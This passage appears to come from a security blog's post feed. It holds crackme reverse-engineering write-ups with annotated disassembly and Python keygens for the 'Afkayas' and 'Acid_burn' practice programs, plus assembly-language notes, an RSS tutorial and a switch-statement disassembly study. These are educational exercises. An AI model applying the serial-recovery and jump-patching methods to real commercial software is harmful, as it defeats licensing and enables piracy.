首字母十进制ascii值 -\u0026gt; ecx 密码 -\u0026gt; eax 0040251C . 50 push eax ; Afkayas_.00402191 0040251D . 68 701B4000 push Afkayas_.00401B70 ; \u0026#34;AKA-\u0026#34;入栈 00402522 . 51 push ecx ; /十进制(len(用户名) * 0x17CFB) + 首字母十进制ascii值 入栈 00402523 . FFD7 call edi ; \\\u0026#34;AKA-\u0026#34;+\u0026#34;十进制(len(用户名) * 0x17CFB) + 首字母十进制ascii值\u0026#34; -\u0026gt; eax 00402525 . 8B1D 70414000 mov ebx,dword ptr ds:[\u0026lt;\u0026amp;MSVBVM50.__vbaSt\u0026gt;; msvbvm50.__vbaStrMove 0040252B . 8BD0 mov edx,eax ; Afkayas_.00402191 0040252D . 8D4D E0 lea ecx,dword ptr ss:[ebp-0x20] 00402530 . FFD3 call ebx ; \u0026lt;\u0026amp;MSVBVM50.__vbaStrMove\u0026gt; 00402532 . 50 push eax ; Afkayas_.00402191 00402533 . FF15 28414000 call dword ptr ds:[\u0026lt;\u0026amp;MSVBVM50.__vbaStrCm\u0026gt;; msvbvm50.__vbaStrCmp 00402539 . 8BF0 mov esi,eax ; Afkayas_.00402191 0040253B . 8D55 E0 lea edx,dword ptr ss:[ebp-0x20] 0040253E . F7DE neg esi 00402540 . 8D45 E8 lea eax,dword ptr ss:[ebp-0x18] 00402543 . 52 push edx 00402544 . 1BF6 sbb esi,esi 00402546 . 8D4D E4 lea ecx,dword ptr ss:[ebp-0x1C] 00402549 . 50 push eax ; Afkayas_.00402191 0040254A . 46 inc esi 0040254B . 51 push ecx 0040254C . 6A 03 push 0x3 0040254E . F7DE neg esi 00402550 . FF15 5C414000 call dword ptr ds:[\u0026lt;\u0026amp;MSVBVM50.__vbaFreeS\u0026gt;; msvbvm50.__vbaFreeStrList 00402556 . 83C4 10 add esp,0x10 00402559 . 8D55 D8 lea edx,dword ptr ss:[ebp-0x28] 0040255C . 8D45 DC lea eax,dword ptr ss:[ebp-0x24] 0040255F . 52 push edx 00402560 . 50 push eax ; Afkayas_.00402191 00402561 . 6A 02 push 0x2 00402563 . FF15 F4404000 call dword ptr ds:[\u0026lt;\u0026amp;MSVBVM50.__vbaFreeO\u0026gt;; msvbvm50.__vbaFreeObjList 00402569 . 83C4 0C add esp,0xC 0040256C . B9 04000280 mov ecx,0x80020004 00402571 . B8 0A000000 mov eax,0xA 00402576 . 894D 9C mov dword ptr ss:[ebp-0x64],ecx 00402579 . 66:85F6 test si,si 0040257C . 8945 94 mov dword ptr ss:[ebp-0x6C],eax ; Afkayas_.00402191 0040257F . 894D AC mov dword ptr ss:[ebp-0x54],ecx 00402582 . 8945 A4 mov dword ptr ss:[ebp-0x5C],eax ; Afkayas_.00402191 00402585 . 894D BC mov dword ptr ss:[ebp-0x44],ecx 00402588 . 8945 B4 mov dword ptr ss:[ebp-0x4C],eax ; Afkayas_.00402191 0040258B . 74 58 je short Afkayas_.004025E5 0040258D . 68 801B4000 push Afkayas_.00401B80 ; You Get It 00402592 . 68 9C1B4000 push Afkayas_.00401B9C ; \\r\\n 00402597 . FFD7 call edi 00402599 . 8BD0 mov edx,eax ; Afkayas_.00402191 0040259B . 8D4D E8 lea ecx,dword ptr ss:[ebp-0x18] 0040259E . FFD3 call ebx 004025A0 . 50 push eax ; Afkayas_.00402191 004025A1 . 68 A81B4000 push Afkayas_.00401BA8 ; KeyGen It Now 004025A6 . FFD7 call edi 004025A8 . 8D4D 94 lea ecx,dword ptr ss:[ebp-0x6C] 004025AB . 8945 CC mov dword ptr ss:[ebp-0x34],eax ; Afkayas_.00402191 004025AE . 8D55 A4 lea edx,dword ptr ss:[ebp-0x5C] 004025B1 . 51 push ecx 004025B2 . 8D45 B4 lea eax,dword ptr ss:[ebp-0x4C] 004025B5 . 52 push edx 004025B6 . 50 push eax ; Afkayas_.00402191 004025B7 . 8D4D C4 lea ecx,dword ptr ss:[ebp-0x3C] 004025BA . 6A 00 push 0x0 004025BC . 51 push ecx 004025BD . C745 C4 08000\u0026gt;mov dword ptr ss:[ebp-0x3C],0x8 004025C4 . FF15 10414000 call dword ptr ds:[\u0026lt;\u0026amp;MSVBVM50.#rtcMsgBox\u0026gt;; msvbvm50.rtcMsgBox 004025CA . 8D4D E8 lea ecx,dword ptr ss:[ebp-0x18] 004025CD . FF15 80414000 call dword ptr ds:[\u0026lt;\u0026amp;MSVBVM50.__vbaFreeS\u0026gt;; msvbvm50.__vbaFreeStr 004025D3 . 8D55 94 lea edx,dword ptr ss:[ebp-0x6C] 004025D6 . 8D45 A4 lea eax,dword ptr ss:[ebp-0x5C] 004025D9 . 52 push edx 004025DA . 8D4D B4 lea ecx,dword ptr ss:[ebp-0x4C] 004025DD . 50 push eax ; Afkayas_.00402191 004025DE . 8D55 C4 lea edx,dword ptr ss:[ebp-0x3C] 004025E1 . 51 push ecx 004025E2 . 52 push edx 004025E3 . EB 56 jmp short Afkayas_.0040263B 004025E5 \u0026gt; 68 C81B4000 push Afkayas_.00401BC8 ; You Get Wrong 004025EA . 68 9C1B4000 push Afkayas_.00401B9C ; \\r\\n 004025EF . FFD7 call edi 004025F1 . 8BD0 mov edx,eax ; Afkayas_.00402191 004025F3 . 8D4D E8 lea ecx,dword ptr ss:[ebp-0x18] 004025F6 . FFD3 call ebx 004025F8 . 50 push eax ; Afkayas_.00402191 004025F9 . 68 E81B4000 push Afkayas_.00401BE8 ; Try Again 通过分析可以看到加密关键代码是\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 0040240F . 8B45 E4 mov eax,dword ptr ss:[ebp-0x1C] ; 用户名 -\u0026gt; eax 00402412 . 50 push eax ; /用户名 -\u0026gt; 堆栈 00402413 . 8B1A mov ebx,dword ptr ds:[edx] ; | 00402415 . FF15 E4404000 call dword ptr ds:[\u0026lt;\u0026amp;MSVBVM50.__vbaLenBs\u0026gt;; \\len(用户名) -\u0026gt; eax 0040241B . 8BF8 mov edi,eax ; len(用户名) -\u0026gt; edi 0040241D . 8B4D E8 mov ecx,dword ptr ss:[ebp-0x18] ; 用户名 -\u0026gt; ecx 00402420 . 69FF FB7C0100 imul edi,edi,0x17CFB ; len(用户名) * 0x17CFB ==\u0026gt; edi=A6ADD 00402426 . 51 push ecx ; /String = NULL 00402427 . 0F80 91020000 jo Afkayas_.004026BE ; | 0040242D . FF15 F8404000 call dword ptr ds:[\u0026lt;\u0026amp;MSVBVM50.#rtcAnsiVa\u0026gt;; \\用户名去掉首字母 -\u0026gt; edx 0040243E . 57 push edi ; len(用户名) * 0x17CFB 入栈-\u0026gt; ebp-D4 0040243F . FF15 E0404000 call dword ptr ds:[\u0026lt;\u0026amp;MSVBVM50.__vbaStrI4\u0026gt;; 十进制(len(用户名) * 0x17CFB) + 首字母十进制ascii值 -\u0026gt; eax 0040251D . 68 701B4000 push Afkayas_.00401B70 ; \u0026#34;AKA-\u0026#34;入栈 00402522 . 51 push ecx ; /十进制(len(用户名) * 0x17CFB) + 首字母十进制ascii值 入栈 00402523 . FFD7 call edi ; \\\u0026#34;AKA-\u0026#34;+\u0026#34;十进制(len(用户名) * 0x17CFB) + 首字母十进制ascii值\u0026#34; -\u0026gt; eax 可以看出流程就是 \u0026ldquo;AKA-\u0026quot;+\u0026ldquo;十进制(len(用户名) * 0x17CFB) + 首字母十进制ascii值\u0026rdquo;\n写注册机（Python）\n1 2 3 4 5 6 import sys username = sys.argv[1] pwend = len(username) * 0x17CFB + ord(username[0]) password = \u0026#34;AKA-%d\u0026#34;%pwend print(password) 测试结果\n1 2 C:\\Users\\Administrator\\Desktop\u0026gt;python 1.py akkuman AKA-682814 ","permalink":"https://www.hacktech.cn/post/2017/09/160crackme-002/","summary":"\u003cp\u003e首先查壳无壳，输入伪码报错，根据报错od查找字符串，定位到错误代码附近，可以看到有个条件跳转，改掉就可以爆破，接下来分析下注册算法，我们周围看看，从最近几个call看，并没有我们输入的用户名在堆栈中出现，那我们直接从这个函数开头往下找，一般一个函数开头是push ebp一段代码用来提升堆栈，找到后我们往下找，注意堆栈，直到我们输入的字符出现，开始细心往下跟\u003c/p\u003e","title":"160CrackMe练手 002"},{"content":"peid判断无壳，打开输入伪码注册，根据报错od查找字符串\n接下来定位到字符串周边代码\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 0042FA15 |. 8D55 F0 lea edx,[local.4] 0042FA18 |. 8B83 DC010000 mov eax,dword ptr ds:[ebx+0x1DC] 0042FA1E |. E8 35B0FEFF call Acid_bur.0041AA58 0042FA23 |. 8B45 F0 mov eax,[local.4] 0042FA26 |. 0FB640 03 movzx eax,byte ptr ds:[eax+0x3] 0042FA2A |. 6BF0 0B imul esi,eax,0xB 0042FA2D |. 8D55 EC lea edx,[local.5] 0042FA30 |. 8B83 DC010000 mov eax,dword ptr ds:[ebx+0x1DC] 0042FA36 |. E8 1DB0FEFF call Acid_bur.0041AA58 0042FA3B |. 8B45 EC mov eax,[local.5] ; 堆栈中可看到[local.5和4]都是你输入的用户名 0042FA3E |. 0FB640 02 movzx eax,byte ptr ds:[eax+0x2] 0042FA42 |. 6BC0 0E imul eax,eax,0xE 0042FA45 |. 03F0 add esi,eax 0042FA47 |. 8935 58174300 mov dword ptr ds:[0x431758],esi 0042FA4D |. A1 6C174300 mov eax,dword ptr ds:[0x43176C] 0042FA52 |. E8 D96EFDFF call Acid_bur.00406930 0042FA57 |. 83F8 04 cmp eax,0x4 ; 如果用户名长度大于等于4跳转 0042FA5A |. 7D 1D jge short Acid_bur.0042FA79 0042FA5C |. 6A 00 push 0x0 0042FA5E |. B9 74FB4200 mov ecx,Acid_bur.0042FB74 ; Try Again! 0042FA63 |. BA 80FB4200 mov edx,Acid_bur.0042FB80 ; Sorry , The serial is incorect ! 0042FA68 |. A1 480A4300 mov eax,dword ptr ds:[0x430A48] 0042FA6D |. 8B00 mov eax,dword ptr ds:[eax] 0042FA6F |. E8 FCA6FFFF call Acid_bur.0042A170 0042FA74 |. E9 BE000000 jmp Acid_bur.0042FB37 0042FA79 |\u0026gt; 8D55 F0 lea edx,[local.4] 0042FA7C |. 8B83 DC010000 mov eax,dword ptr ds:[ebx+0x1DC] 0042FA82 |. E8 D1AFFEFF call Acid_bur.0041AA58 0042FA87 |. 8B45 F0 mov eax,[local.4] ; 取你输入的用户名 0042FA8A |. 0FB600 movzx eax,byte ptr ds:[eax] ; 取用户名的第一个字母放入eax 0042FA8D |. F72D 50174300 imul dword ptr ds:[0x431750] ; eax = eax * 29h 0042FA93 |. A3 50174300 mov dword ptr ds:[0x431750],eax 0042FA98 |. A1 50174300 mov eax,dword ptr ds:[0x431750] 0042FA9D |. 0105 50174300 add dword ptr ds:[0x431750],eax ; [0x431750] = eax * 2 0042FAA3 |. 8D45 FC lea eax,[local.1] 0042FAA6 |. BA ACFB4200 mov edx,Acid_bur.0042FBAC ; CW 0042FAAB |. E8 583CFDFF call Acid_bur.00403708 ; 观察堆栈可发现\u0026#34;CW\u0026#34;放入了[local.1] 0042FAB0 |. 8D45 F8 lea eax,[local.2] 0042FAB3 |. BA B8FB4200 mov edx,Acid_bur.0042FBB8 ; CRACKED 0042FAB8 |. E8 4B3CFDFF call Acid_bur.00403708 ; 观察堆栈可发现\u0026#34;CRACKED\u0026#34;放入了[local.2] 0042FABD |. FF75 FC push [local.1] ; Acid_bur.0042FBAC 0042FAC0 |. 68 C8FB4200 push Acid_bur.0042FBC8 ; - ;两个push把\u0026#34;CW\u0026#34;和\u0026#34;-\u0026#34;入栈 0042FAC5 |. 8D55 E8 lea edx,[local.6] 0042FAC8 |. A1 50174300 mov eax,dword ptr ds:[0x431750] 0042FACD |. E8 466CFDFF call Acid_bur.00406718 ; 用户名第一个字母*29*2的值放入[local.6] 0042FAD2 |. FF75 E8 push [local.6] 0042FAD5 |. 68 C8FB4200 push Acid_bur.0042FBC8 ; - 0042FADA |. FF75 F8 push [local.2] ; \u0026#34;用户名第一个字母*29*2\u0026#34;,\u0026#34;-\u0026#34;,\u0026#34;CRACKED\u0026#34;入栈 0042FADD |. 8D45 F4 lea eax,[local.3] 0042FAE0 |. BA 05000000 mov edx,0x5 0042FAE5 |. E8 C23EFDFF call Acid_bur.004039AC ; CW-算好的数据-CRACKED 放入[local.3] 0042FAEA |. 8D55 F0 lea edx,[local.4] 0042FAED |. 8B83 E0010000 mov eax,dword ptr ds:[ebx+0x1E0] 0042FAF3 |. E8 60AFFEFF call Acid_bur.0041AA58 0042FAF8 |. 8B55 F0 mov edx,[local.4] ; 取出你输入的密码=\u0026gt;edx 0042FAFB |. 8B45 F4 mov eax,[local.3] ; 正确密码=\u0026gt;eax 0042FAFE |. E8 F93EFDFF call Acid_bur.004039FC 0042FB03 |. 75 1A jnz short Acid_bur.0042FB1F ; 判断密码是否正确 0042FB05 |. 6A 00 push 0x0 0042FB07 |. B9 CCFB4200 mov ecx,Acid_bur.0042FBCC ; Congratz !! 0042FB0C |. BA D8FB4200 mov edx,Acid_bur.0042FBD8 ; Good job dude =) 0042FB11 |. A1 480A4300 mov eax,dword ptr ds:[0x430A48] 0042FB16 |. 8B00 mov eax,dword ptr ds:[eax] 0042FB18 |. E8 53A6FFFF call Acid_bur.0042A170 0042FB1D |. EB 18 jmp short Acid_bur.0042FB37 0042FB1F |\u0026gt; 6A 00 push 0x0 0042FB21 |. B9 74FB4200 mov ecx,Acid_bur.0042FB74 ; Try Again! 0042FB26 |. BA 80FB4200 mov edx,Acid_bur.0042FB80 ; Sorry , The serial is incorect ! 注册算法就是password = \u0026ldquo;CW-\u0026rdquo; + 取用户名第一位asciix29x2 + \u0026ldquo;-CRACKED\u0026rdquo;\n注册机（python）：\n1 2 3 4 5 import sys username = sys.argv[1] password = ord(username[0])*0x29*0x2 print(\u0026#34;password:\u0026#34;+\u0026#34;CW-\u0026#34;+\u0026#34;%d\u0026#34;%(password)+\u0026#34;-CRACKED\u0026#34;) 测试：\n1 2 C:\\Users\\Administrator\\Desktop\u0026gt;python 1.py akkuman password:CW-7954-CRACKED ","permalink":"https://www.hacktech.cn/post/2017/09/160crackme-001/","summary":"\u003cp\u003epeid判断无壳，打开输入伪码注册，根据报错od查找字符串\u003cbr\u003e\n接下来定位到字符串周边代码\u003c/p\u003e","title":"160CrackMe练手 001"},{"content":"内存模式 1 2 3 .386 .model flat,stdcall ;子程序调用模式，win32中只能用stdcall，因为win32api调用使用的这个 option casemap:none ;定义了程序中变量和子程序名是否对大小写敏感，win32api名称区分大小写，所以只需要记住这个定式 指定使用的指令集 .model 语句 1 .model 内存模式[,语言模式][,其他模式] 内存模式\n模式 内存使用方式 tiny 用来建立.com 文件，所有的代码、数据和堆栈都在同一个 64KB 段内 small 建立代码和数据分别用一个 64KB 段的.exe 文件 medium 代码段可以有多个 64KB 段，数据段只有一个 64KB 段 compact 代码段只有一个 64KB 段，数据段可以有多个 64KB 段 large 代码段和数据段都可以有多个 64KB 段 huge 同 large，并且数据段中的一个数组也可以超过 64KB flat Win32 程序使用的模式，代码和数据使用同一个 4GB 段 对于 Win32 程序来说，只有一种内存模式，flat 模式\n源程序结构 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 .386 .model flat,stdcall option casemap:none \u0026lt;一些include语句\u0026gt; .stack [堆栈段的大小] ;常忽略不写 .data \u0026lt;一些初始化过的变量定义\u0026gt; .data? \u0026lt;一些没有初始化过的变量定义\u0026gt; .const \u0026lt;一些常量定义\u0026gt; .code \u0026lt;代码\u0026gt; \u0026lt;开始标号\u0026gt; \u0026lt;其他语句\u0026gt; end \u0026lt;开始标号\u0026gt; 局部变量的定义 1 local 变量名1[[重复数量]][:类型],变量名2[[重复数量]][:类型]...... local 伪指令必须紧接在子程序的伪指令 proc 后\n变量的类型\n名称 表示方式 缩写 字节 Byte db 字 word dw 双字 (doubleword) dword dd 三字 (farword) fword df 四字 (quadword) qword dq 十字节 BCD 码 (tenbyte) tbyte dt 有符号字节 (signbyte) sbyte 有符号字 (signword) sword 有符号双字 (signdword) sdword 单精度浮点数 Real4 双精度浮点数 Real8 10 字节浮点数 Real10 数据结构 1 2 3 4 5 6 7 结构名 struct 字段1 类型 ? 字段2 类型 ? ...... 结构名 ends 定义\n1 2 3 4 5 .data? 变量名称 结构名 \u0026lt;字段1,字段2,...\u0026gt; ;或者 .data? 变量名称 结构名 \u0026lt;\u0026gt; 使用\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 ;前提假设结构名为WNDCLASS,结构体变量名为stWndClass,里面有字段lpfnWndProc ;1 mov eax,stWndClass.lpfnWndProc ;2.esi寄存器作指针寻址 mov esi,offset stWndClass mov eax,[esi + WNDCLASS.lpfnWndProc] ;注意这里是WNDCLASS ;3.用assume伪指令把寄存器预先定义为结构指针 mov esi,offset stWndClass assume esi:ptr WNDCLASS mov eax,[esi].lpfnWndProc ... assume esi:nothing ;注意：不使用esi做指针的时候需要用这句取消定义 ;4.结构的定义可以嵌套 NEW_WNDCLASS struct dwOption word ? oldWndClass WNDCLASS \u0026lt;\u0026gt; NEW_WNDCLASS ends ;5.嵌套的引用 mov wax,[esi].oldWndClass.lpfnWndProc 以不同的类型访问变量 1 2 3 4 5 6 ;以db定义一个缓冲区 szBuffer db 1024 dup (?) ;mov ax,szBuffer ;错误，masm中，如果要用制定类型之外的长度访问变量，必须显式指出要访问的长度，这样编译器忽略语法上的长度检验，仅使用变量的地址 ;类型 ptr 变量名 mov ax,word ptr szBuffer mov eax,dword ptr szBuffer movzx 把一个字节扩展到一个字或一个字或一个双字再放到 ax 或 eax 中，高位保持 0 而不是越界存取到其他的变量\n1 2 3 4 5 .data bTest1 db 12h .code movzx ax,bTest1 movzx eax,bTest1 变量的尺寸和数量 1 2 sizeof 变量名、数据类型或数据结构名 ;取得变量、数据类型或数据结构以字节为单位的长度 lengthof 变量名、数据类型或数据结构名 ;取得变量中数据的项数 获取变量地址 1 2 3 4 5 mov 寄存器,offset 变量名 ;offset是取变量地址的伪操作符 lea eax,[ebp-4] ;运行时按照ebp的值实际计算出地址放到eax中 ;invoke伪指令参数要用到一个局部变量的地址时，参数中不可能写入lea指令，用offset又是不对的，可用addr addr 局部变量名和全局变量名 ;全局变量名时编译器按照odffset的用法来用；局部变量名时，编译器用lea先把地址取到wax中，然后用eax代替变量地址使用 ;invoke中使用addr时，它的左边不能使用wax，否则eax的值会被覆盖 子程序的定义 1 2 3 4 5 6 子程序名 proc [距离][语言类型][可视区域][USES寄存器列表][,参数:类型]...[VARARG] local 局部变量列表 指令 子程序名 endp 参数传递和堆栈平衡 不同语言调用方式的差别\n\\ C SysCall StdCall BASIC FORTRAN PASCAL 最先入栈参数 右 右 右 左 左 左 清除堆栈者 调用者 子程序 子程序 子程序 子程序 子程序 允许使用 VARARG 是 是 是 否 否 否 条件测试语句 1 2 3 4 5 6 7 寄存器或变量 操作符 操作数 (表达式1) 逻辑运算符 (表达式2) 逻辑运算符 (表达式3) ... ;举例，左边表达式，右边是表达式为真的条件 x==3 ;x等于3 eax!=3 ;eax不等于3 (y\u0026gt;=3)\u0026amp;\u0026amp;ebx ;y大于等于3且ebx为非零值 ;表达式的左边只能是变量或寄存器，不能为常数；表达式两边不能同时为变量，但可以同时是寄存器 标志位的状态指示\n1 2 3 4 5 CARRY? 表示Carry位是否置位 OVERFLOW? 表示Overflow位是否置位 PARITY? 表示Parity位是否置位 SIGN? 表示Sign位是否置位 ZERO? 表示Zero位是否置位 分支语句 1 2 3 4 5 6 7 8 9 .if eax \u0026amp;\u0026amp; (bx \u0026gt;= dWX) || !(dWY != ecx) mov esi,1 .elseif edx mov esi,2 .elseif esi \u0026amp; 1 mov esi,3 .elseif ZERO? \u0026amp;\u0026amp; CARRY? mov esi,4 .endif 循环语句 1 2 3 4 5 6 7 8 9 10 11 .while 条件测试表达式 指令 [.break [.if 退出条件]] [.continue] .endw ;或 .repeat 指令 [.break [.if 退出条件]] [.continue] .until 条件测试表达式 (或 .untilcxz [条件测试表达式]) 变量和函数的命名 匈牙利表示法 1 类型前缀+变量说明（类型用小写字母，说明则用首字母大写的几个引文单词组成） 汇编语言中常用的类型前缀\n前缀 说明 b 表示 byte w 表示 word dw 表示 dword h 表示句柄 lp 表示指针 sz 表示以 0 结尾的字符串 lpsz 表示指向 0 结尾的字符串的指针 f 表示浮点数 st 表示一个数据结构 举例\n变量名 说明 hWinMain 主窗口的句柄 dwTimeCount 时间计数器，以双字定义 szWelcome 欢迎信息字符串，以 0 结尾 lpBuffer 指向缓存区的指针 stWndClass WNDCLASS 结构 本书的作者建议\n全局变量的定义使用标准的匈牙利表示法，在参数的前面加下划线；在局部变量的前面加@符号，这样引用的时候就能随时注意到变量的作用域。 在内部子程序的名称前面加下划线，以便和系统 API 区别。 举例\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 _Calc proc _dwX,_dwY local @dwResult finit fild _dwX fld st(0) fmul ;i * i fild _dwY fld st(0) fmul ;j * j fadd ;i * i + j * j fsqrt ;sqrt(i * i + j * j) fistp @dwResult ;put result mov eax,@dwResult ret _calc endp ","permalink":"https://www.hacktech.cn/post/2017/09/windows-32-asm-note-basic/","summary":"\u003ch2 id=\"内存模式\"\u003e内存模式\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e2\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e3\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  .386\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  .model flat,stdcall ;子程序调用模式，win32中只能用stdcall，因为win32api调用使用的这个\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  option casemap:none ;定义了程序中变量和子程序名是否对大小写敏感，win32api名称区分大小写，所以只需要记住这个定式\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e","title":"Windows 环境下 32 位汇编语言程序设计笔记 - 基础篇"},{"content":"烧制RSS源 到Feed43注册一个账号，虽说不注册也能用，但是为了方便修改自己烧制的RSS，最好还是注册一个账号来管理 到主页点击Create new feed 输入网址点击reload 可以看到请求的html中1处是文章的定位处，我们针对这个写出2处的代码就可以了 下面是2处的具体代码\n1 2 3 4 5 6 7 //2处的代码 \u0026lt;tr\u0026gt;{*} \u0026lt;td\u0026gt;{%}\u0026lt;/td\u0026gt;{*} \u0026lt;td{*}align=\u0026#34;left\u0026#34;\u0026gt;\u0026lt;a{*}href=\u0026#34;{%}\u0026#34;{*}target=\u0026#34;_blank\u0026#34;\u0026gt;\u0026lt;font{*}color=\u0026#34;#F2753F\u0026#34;\u0026gt;{*} {%}\u0026lt;/font\u0026gt;\u0026lt;/a\u0026gt;\u0026lt;/td\u0026gt;{*} \u0026lt;td\u0026gt;{%}\u0026lt;/td\u0026gt;{*} \u0026lt;/tr\u0026gt;{*} 在feed43中，我们会用到两种代码块：{%}和{*}，其中{%}替换你想获取的内容，{*}用来省略无关代码\n填写规则完成后点击Extract，可以看到下面抓取出了具体的列表 把具体要展示的信息变量填写好 点击Preview即可获取feed地址http://feed43.com/3772386342045020.xml 获取全文输出feed 这里推荐两个网址，直接把上面我们得到的feed的地址填入即可获取全文烧制的RSS\nFull Rss FeedSoSo ","permalink":"https://www.hacktech.cn/post/2017/09/how-to-make-rss-for-any-website/","summary":"\u003ch2 id=\"烧制rss源\"\u003e烧制RSS源\u003c/h2\u003e","title":"如何自己烧制全文RSS（打造自己RSS源）"},{"content":"在分支较多的时候，switch的效率比if高，在反汇编中我们即可看到效率高的原因\n0x01分支结构不超过3个 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 #include \u0026lt;stdio.h\u0026gt; void main() { int x = 5; switch(x) { case 5: printf(\u0026#34;%d\\n\u0026#34;,x); break; case 6: printf(\u0026#34;%d\\n\u0026#34;,x); break; case 7: printf(\u0026#34;%d\\n\u0026#34;,x); break; default: break; } return; } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 5: int x = 5; 00401028 mov dword ptr [ebp-4],5 6: switch(x) 7: { 0040102F mov eax,dword ptr [ebp-4] 00401032 mov dword ptr [ebp-8],eax //x的值放入[ebp-8] 00401035 cmp dword ptr [ebp-8],5 00401039 je main+39h (00401049) //x与5相等就跳转，下面6和7相同 0040103B cmp dword ptr [ebp-8],6 0040103F je main+4Ch (0040105c) 00401041 cmp dword ptr [ebp-8],7 00401045 je main+5Fh (0040106f) 00401047 jmp main+72h (00401082) 8: case 5: 9: printf(\u0026#34;%d\\n\u0026#34;,x); 00401049 mov ecx,dword ptr [ebp-4] 0040104C push ecx 0040104D push offset string \u0026#34;%d\\n\u0026#34; (0042201c) 00401052 call printf (004010d0) 00401057 add esp,8 10: break; 0040105A jmp main+83h (00401093) 11: case 6: 12: printf(\u0026#34;%d\\n\u0026#34;,x); 0040105C mov edx,dword ptr [ebp-4] 0040105F push edx 00401060 push offset string \u0026#34;%d\\n\u0026#34; (0042201c) 00401065 call printf (004010d0) 0040106A add esp,8 13: break; 0040106D jmp main+83h (00401093) 14: case 7: 15: printf(\u0026#34;%d\\n\u0026#34;,x); 0040106F mov eax,dword ptr [ebp-4] 00401072 push eax 00401073 push offset string \u0026#34;%d\\n\u0026#34; (0042201c) 00401078 call printf (004010d0) 0040107D add esp,8 16: break; 00401080 jmp main+83h (00401093) 17: default: 18: printf(\u0026#34;%d\\n\u0026#34;,x); 00401082 mov ecx,dword ptr [ebp-4] 00401085 push ecx 00401086 push offset string \u0026#34;%d\\n\u0026#34; (0042201c) 0040108B call printf (004010d0) 00401090 add esp,8 19: break; 20: } 0x02分支数超过3且分支存在线性关系 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 #include \u0026lt;stdio.h\u0026gt; void main() { int x = 5; switch(x) { case 5: printf(\u0026#34;%d\\n\u0026#34;,x); break; case 6: printf(\u0026#34;%d\\n\u0026#34;,x); break; case 7: printf(\u0026#34;%d\\n\u0026#34;,x); break; case 8: printf(\u0026#34;%d\\n\u0026#34;,x); break; case 9: printf(\u0026#34;%d\\n\u0026#34;,x); break; default: printf(\u0026#34;%d\\n\u0026#34;,x); break; } return; } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 5: int x = 5; 0040D778 mov dword ptr [ebp-4],5 6: switch(x) 7: { 0040D77F mov eax,dword ptr [ebp-4] 0040D782 mov dword ptr [ebp-8],eax 0040D785 mov ecx,dword ptr [ebp-8] 0040D788 sub ecx,5 //x减去分支中的最小值5，方便构建跳转表 0040D78B mov dword ptr [ebp-8],ecx 0040D78E cmp dword ptr [ebp-8],4 0040D792 ja $L537+13h (0040d7fd) //x-5\u0026gt;4跳转到default，即x\u0026gt;9跳转 0040D794 mov edx,dword ptr [ebp-8] //edx=x-5 0040D797 jmp dword ptr [edx*4+40D81Fh] //构建跳转表，根据edx的值从对应地址取出值(各个分支的地址)，40D81F为跳转表起始地址 8: case 5: 9: printf(\u0026#34;%d\\n\u0026#34;,x); 0040D79E mov eax,dword ptr [ebp-4] 0040D7A1 push eax 0040D7A2 push offset string \u0026#34;%d\\n\u0026#34; (0042201c) 0040D7A7 call printf (004010d0) 0040D7AC add esp,8 10: break; 0040D7AF jmp $L537+24h (0040d80e) 11: case 6: 12: printf(\u0026#34;%d\\n\u0026#34;,x); 0040D7B1 mov ecx,dword ptr [ebp-4] 0040D7B4 push ecx 0040D7B5 push offset string \u0026#34;%d\\n\u0026#34; (0042201c) 0040D7BA call printf (004010d0) 0040D7BF add esp,8 13: break; 0040D7C2 jmp $L537+24h (0040d80e) 14: case 7: 15: printf(\u0026#34;%d\\n\u0026#34;,x); 0040D7C4 mov 